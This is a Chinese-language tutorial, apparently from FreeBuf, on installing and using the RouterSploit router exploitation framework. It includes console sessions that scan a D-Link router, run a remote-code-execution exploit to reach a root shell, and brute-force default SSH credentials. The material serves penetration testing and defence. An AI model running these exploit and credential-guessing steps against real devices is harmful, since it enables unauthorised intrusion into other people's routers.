RouterSploit：路由器漏洞检测及利用框架

RouteSploit框架是一款开源的漏洞检测及利用框架，其针对的对象主要为路由器等嵌入式设备。

框架功能

RouteSploit框架主要由可用于渗透测试的多个功能模块组件组成，

工具安装

sudo apt-get install python-requests python-paramiko python-netsnmp

git clone https://github.com/reverse-shell/routersploit

./rsf.py

GitHub地址如上命令中所述为： RouteSploit 。

操作使用

首先，启动 RouteSploit 框架，具体如下所示

root@kalidev:~/git/routersploit# ./rsf.py   ______            _            _____       _       _ _  | ___ /          | |          /  ___|     | |     (_) |  | |_/ /___  _   _| |_ ___ _ __/ `--. _ __ | | ___  _| |_  |    // _ /| | | | __/ _ / '__|`--. / '_ /| |/ _ /| | __|  | |/ / (_) | |_| | ||  __/ |  //__/ / |_) | | (_) | | |_  /_| /_/___/ /__,_|/__/___|_|  /____/| .__/|_|/___/|_|/__|                                      | |      Router Exploitation Framework   |_|   Dev Team : Marcin Bury (lucyoa) & Mariusz Kupidura (fwkz)  Codename : Wildest Dreams  Version  : 1.0.0  rsf > 

1、Scanners 模块

scanners模块，具备设备漏洞扫描功能，通过该模块，可快速识别目标设备是否存在可利用的安全漏洞，下面会以一个dlink路由器为例，结合进行操作描述。

（1）选择scanners模块，操作如下，

rsf > use scanners/dlink_scan rsf (D-Link Scanner) > show options

（2）显示选项

Target options:     Name       Current settings     Description                                    ----       ----------------     -----------                                    target                          Target address e.g. http://192.168.1.1         port       80                   Target port                                

（3）设置目标设备IP

rsf (D-Link Scanner) > set target 192.168.1.1 [+] {'target': '192.168.1.1'}

（4）运行模块，执行情况如下，

rsf (D-Link Scanner) > run [+] exploits/dlink/dwr_932_info_disclosure is vulnerable [-] exploits/dlink/dir_300_320_615_auth_bypass is not vulnerable [-] exploits/dlink/dsl_2750b_info_disclosure is not vulnerable [-] exploits/dlink/dns_320l_327l_rce is not vulnerable [-] exploits/dlink/dir_645_password_disclosure is not vulnerable [-] exploits/dlink/dir_300_600_615_info_disclosure is not vulnerable [-] exploits/dlink/dir_300_600_rce is not vulnerable  [+] Device is vulnerable!  - exploits/dlink/dwr_932_info_disclosure

如上所呈现的结果，目标设备存在dwr_932_info_disclosure漏洞。接下来，我们选择合适的payload进行传递和测试（以下涉及 exploits模块功能操作，如需，请再往下查阅 ），

2、Exploits 模块

（1）选择Exploits模块，操作如下，

rsf > use exploits/ exploits/2wire/     exploits/asmax/     exploits/asus/      exploits/cisco/     exploits/dlink/     exploits/fortinet/  exploits/juniper/   exploits/linksys/   exploits/multi/     exploits/netgear/ rsf > use exploits/dlink/dir_300_600_rce rsf (D-LINK DIR-300 & DIR-600 RCE) > 

我们也可以使用“tab”键来自动补充输入命令。

（2）显示选项

rsf (D-LINK DIR-300 & DIR-600 RCE) > show options  Target options:      Name       Current settings     Description                                    ----       ----------------     -----------                                    target                          Target address e.g. http://192.168.1.1         port       80                   Target Port

设置选项，操作如下，

rsf (D-LINK DIR-300 & DIR-600 RCE) > set target http://192.168.1.1 [+] {'target': 'http://192.168.1.1'}

（3）运行模块

通过使用“run”或“exploit”命令来完成漏洞的利用，

rsf (D-LINK DIR-300 & DIR-600 RCE) > run [+] Target is vulnerable [*] Invoking command loop... cmd > whoami root

也可检测目标设备是否存在选定的安全漏洞，操作如下，

rsf (D-LINK DIR-300 & DIR-600 RCE) > check [+] Target is vulnerable

（4）显示具体漏洞信息

通过“show info”命令，显示漏洞信息，包括其存在的设备品牌、型号、漏洞类型及参考来源，具体参考如下，

rsf (D-LINK DIR-300 & DIR-600 RCE) > show info  Name: D-LINK DIR-300 & DIR-600 RCE  Description: Module exploits D-Link DIR-300, DIR-600 Remote Code Execution vulnerability which allows executing command on operating system level with root privileges.  Targets: - D-Link DIR 300 - D-Link DIR 600  Authors: - Michael Messner <devnull[at]s3cur1ty.de> # vulnerability discovery - Marcin Bury <marcin.bury[at]reverse-shell.com> # routersploit module  References: - http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router - http://www.s3cur1ty.de/home-network-horror-days - http://www.s3cur1ty.de/m1adv2013-003

3、 Creds 模块

（1）选择模块

此模块相关文件位于 /routesploit/modules/creds/ 目录下，以下为该模块支持检测的服务，

在检测过程中，可通过两个层面对 上述的每个服务 进行检测，

默认服务登录口令检测：利用框架提供的各类路由等设备以及服务的默认登录口令字典，通过快速列举的方式，可在较短时间内（几秒钟）验证设备是否仍使用默认登录口令；

暴力破解：利用框架中所提供的特定账户或者账户列表进行字典攻击。其中包含两个参数（登录账户及密码），如框架/routesploit/wordlists目录中字典所示，参数值可以为一个单词（如’admin’），或者是一整个单词列表。

（2）控制台

rsf > use creds/ creds/ftp_bruteforce         creds/http_basic_bruteforce  creds/http_form_bruteforce   creds/snmp_bruteforce        creds/ssh_default            creds/telnet_default          creds/ftp_default            creds/http_basic_default     creds/http_form_default      creds/ssh_bruteforce         creds/telnet_bruteforce       rsf > use creds/ssh_default rsf (SSH Default Creds) > 

（3）显示选项

（4）设置目标设备IP

rsf (SSH Default Creds) > set target 192.168.1.53 [+] {'target': '192.168.1.53'}

（5）运行模块

rsf (SSH Default Creds) > run [*] Running module... [*] worker-0 process is starting... [*] worker-1 process is starting... [*] worker-2 process is starting... [*] worker-3 process is starting... [*] worker-4 process is starting... [*] worker-5 process is starting... [*] worker-6 process is starting... [*] worker-7 process is starting... [-] worker-4 Authentication failed. Username: '3comcso' Password: 'RIP000' [-] worker-1 Authentication failed. Username: '1234' Password: '1234' [-] worker-0 Authentication failed. Username: '1111' Password: '1111' [-] worker-7 Authentication failed. Username: 'ADVMAIL' Password: 'HP' [-] worker-3 Authentication failed. Username: '266344' Password: '266344' [-] worker-2 Authentication failed. Username: '1502' Password: '1502'  (..)  Elapsed time:  38.9181981087 seconds [+] Credentials found!  Login     Password      -----     --------      admin     1234           rsf (SSH Default Creds) > 

＊参考来源： GitHub ,FB小编troy编译，转载请注明来自FreeBuf黑客与极客（FreeBuf.COM）